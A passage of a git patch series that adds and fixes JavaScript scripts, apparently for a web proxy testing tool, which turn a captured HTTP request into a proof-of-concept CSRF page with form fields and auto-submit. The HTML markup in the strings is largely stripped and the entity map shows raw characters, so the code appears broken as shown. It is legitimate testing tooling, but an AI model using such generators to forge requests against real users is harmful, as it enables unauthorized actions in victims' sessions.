+/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += "
\n" + // sereparate line with caractere & + lines = body.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = decodeURIComponent(line.substring(indexEgal + 1)); + value = encodeSpecialCharactersToHTML(value) + result += " \n" + } + } + result += " \n" + } + else if(methode == "GET") + { + result += " \n" + + uri=msg.getRequestHeader().getURI().toString() + data = uri.split('?') + data = data[1] + + lines = data.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = decodeURIComponent(line.substring(indexEgal + 1)); + value = encodeSpecialCharactersToHTML(value) + result += " \n" + } + } + result += " \n" + } + // close tag + result += "
\n" + result += " \n" + result += "\n" + print(result) +} + +// encode specials character +function encodeSpecialCharactersToHTML(text) { + const htmlSpecialCharacters = { + '&': '&', + '<': '<', + '>': '>', + '"': '"', + '\'': ''', + '`': '`', + '=': '=', + '/': '/', + '-': '-', + '_': '_', + ':': ':', + ';': ';', + ',': ',', + '.': '.', + '?': '?', + '!': '!', + '@': '@', + '$': '$', + '%': '%', + '#': '#', + '(': '(', + ')': ')', + '[': '[', + ']': ']', + '{': '{', + '}': '}', + '+': '+', + '|': '|', + '\\': '\', + '~': '~', + '^': '^', + '€': '€', + '£': '£', + '¥': '¥', + '©': '©', + '®': '®', + '™': '™', + '×': '×', + '÷': '÷', + }; + + let encodedText = ''; + + for (const char of text) { + if (char in htmlSpecialCharacters) { + encodedText += htmlSpecialCharacters[char]; + } else { + encodedText += char; + } + } + + return encodedText; + } \ No newline at end of file diff --git a/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js b/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js new file mode 100644 index 00000000..a3a3b537 --- /dev/null +++ b/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js @@ -0,0 +1,134 @@ +// Generate simple PoC CSRF auto-submit full-URL encoding +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += "
\n" + // sereparate line with caractere & + lines = body.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = decodeURIComponent(line.substring(indexEgal + 1)); + value = encodeSpecialCharactersToHTML(value) + result += " \n" + } + } + result += " \n" + } + else if(methode == "GET") + { + result += " \n" + + uri=msg.getRequestHeader().getURI().toString() + data = uri.split('?') + data = data[1] + + lines = data.split('&') + + for( line of lines) + { + + indexEgal = line.indexOf('='); + if(indexEgal !== -1) + { + key = line.substring(0, indexEgal); + value = decodeURIComponent(line.substring(indexEgal + 1)); + value = encodeSpecialCharactersToHTML(value) + result += " \n" + } + } + result += " \n" + } + // close tag + result += "
\n" + result += " \n" // add auto submit + result += " \n" + result += "\n" + print(result) +} + +// encode specials character +function encodeSpecialCharactersToHTML(text) { + const htmlSpecialCharacters = { + '&': '&', + '<': '<', + '>': '>', + '"': '"', + '\'': ''', + '`': '`', + '=': '=', + '/': '/', + '-': '-', + '_': '_', + ':': ':', + ';': ';', + ',': ',', + '.': '.', + '?': '?', + '!': '!', + '@': '@', + '$': '$', + '%': '%', + '#': '#', + '(': '(', + ')': ')', + '[': '[', + ']': ']', + '{': '{', + '}': '}', + '+': '+', + '|': '|', + '\\': '\', + '~': '~', + '^': '^', + '€': '€', + '£': '£', + '¥': '¥', + '©': '©', + '®': '®', + '™': '™', + '×': '×', + '÷': '÷', + }; + + let encodedText = ''; + + for (const char of text) { + if (char in htmlSpecialCharacters) { + encodedText += htmlSpecialCharacters[char]; + } else { + encodedText += char; + } + } + + return encodedText; + } \ No newline at end of file From 09f6f72fd0a583eba61214d68f6f7737f08b9a0b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Tue, 25 Jul 2023 18:41:31 +0200 Subject: [PATCH 29/29] fix issues to file CSRF MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- targeted/CSRF_poc_generator.js | 5 ++++- targeted/CSRF_poc_generator_auto-submit.js | 5 ++++- targeted/CSRF_poc_generator_full-URL_encoding.js | 5 ++++- targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js | 5 ++++- 4 files changed, 16 insertions(+), 4 deletions(-) diff --git a/targeted/CSRF_poc_generator.js b/targeted/CSRF_poc_generator.js index e9f0fb2b..c14f03d9 100644 --- a/targeted/CSRF_poc_generator.js +++ b/targeted/CSRF_poc_generator.js @@ -45,7 +45,9 @@ function invokeWith(msg) { } else if(methode == "GET") { - result += "
\n" + uri = msg.getRequestHeader().getURI().toString() + uri = uri.split('?') + result += " \n" uri=msg.getRequestHeader().getURI().toString() data = uri.split('?') @@ -61,6 +63,7 @@ function invokeWith(msg) { { key = line.substring(0, indexEgal); value = line.substring(indexEgal + 1); + value = decodeURIComponent(value) result += " \n" } } diff --git a/targeted/CSRF_poc_generator_auto-submit.js b/targeted/CSRF_poc_generator_auto-submit.js index d7cc37f8..a5ce1c73 100644 --- a/targeted/CSRF_poc_generator_auto-submit.js +++ b/targeted/CSRF_poc_generator_auto-submit.js @@ -45,7 +45,9 @@ function invokeWith(msg) { } else if(methode == "GET") { - result += " \n" + uri = msg.getRequestHeader().getURI().toString() + uri = uri.split('?') + result += " \n" uri=msg.getRequestHeader().getURI().toString() data = uri.split('?') @@ -61,6 +63,7 @@ function invokeWith(msg) { { key = line.substring(0, indexEgal); value = line.substring(indexEgal + 1); + value = decodeURIComponent(value) result += " \n" } } diff --git a/targeted/CSRF_poc_generator_full-URL_encoding.js b/targeted/CSRF_poc_generator_full-URL_encoding.js index aa2c5bb7..4e759231 100644 --- a/targeted/CSRF_poc_generator_full-URL_encoding.js +++ b/targeted/CSRF_poc_generator_full-URL_encoding.js @@ -46,7 +46,9 @@ function invokeWith(msg) { } else if(methode == "GET") { - result += " \n" + uri = msg.getRequestHeader().getURI().toString() + uri = uri.split('?') + result += " \n" uri=msg.getRequestHeader().getURI().toString() data = uri.split('?') @@ -62,6 +64,7 @@ function invokeWith(msg) { { key = line.substring(0, indexEgal); value = decodeURIComponent(line.substring(indexEgal + 1)); + value = decodeURIComponent(value) value = encodeSpecialCharactersToHTML(value) result += " \n" } diff --git a/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js b/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js index a3a3b537..13d8a2d3 100644 --- a/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js +++ b/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js @@ -46,7 +46,9 @@ function invokeWith(msg) { } else if(methode == "GET") { - result += " \n" + uri = msg.getRequestHeader().getURI().toString() + uri = uri.split('?') + result += " \n" uri=msg.getRequestHeader().getURI().toString() data = uri.split('?') @@ -62,6 +64,7 @@ function invokeWith(msg) { { key = line.substring(0, indexEgal); value = decodeURIComponent(line.substring(indexEgal + 1)); + value = decodeURIComponent(value) value = encodeSpecialCharactersToHTML(value) result += " \n" }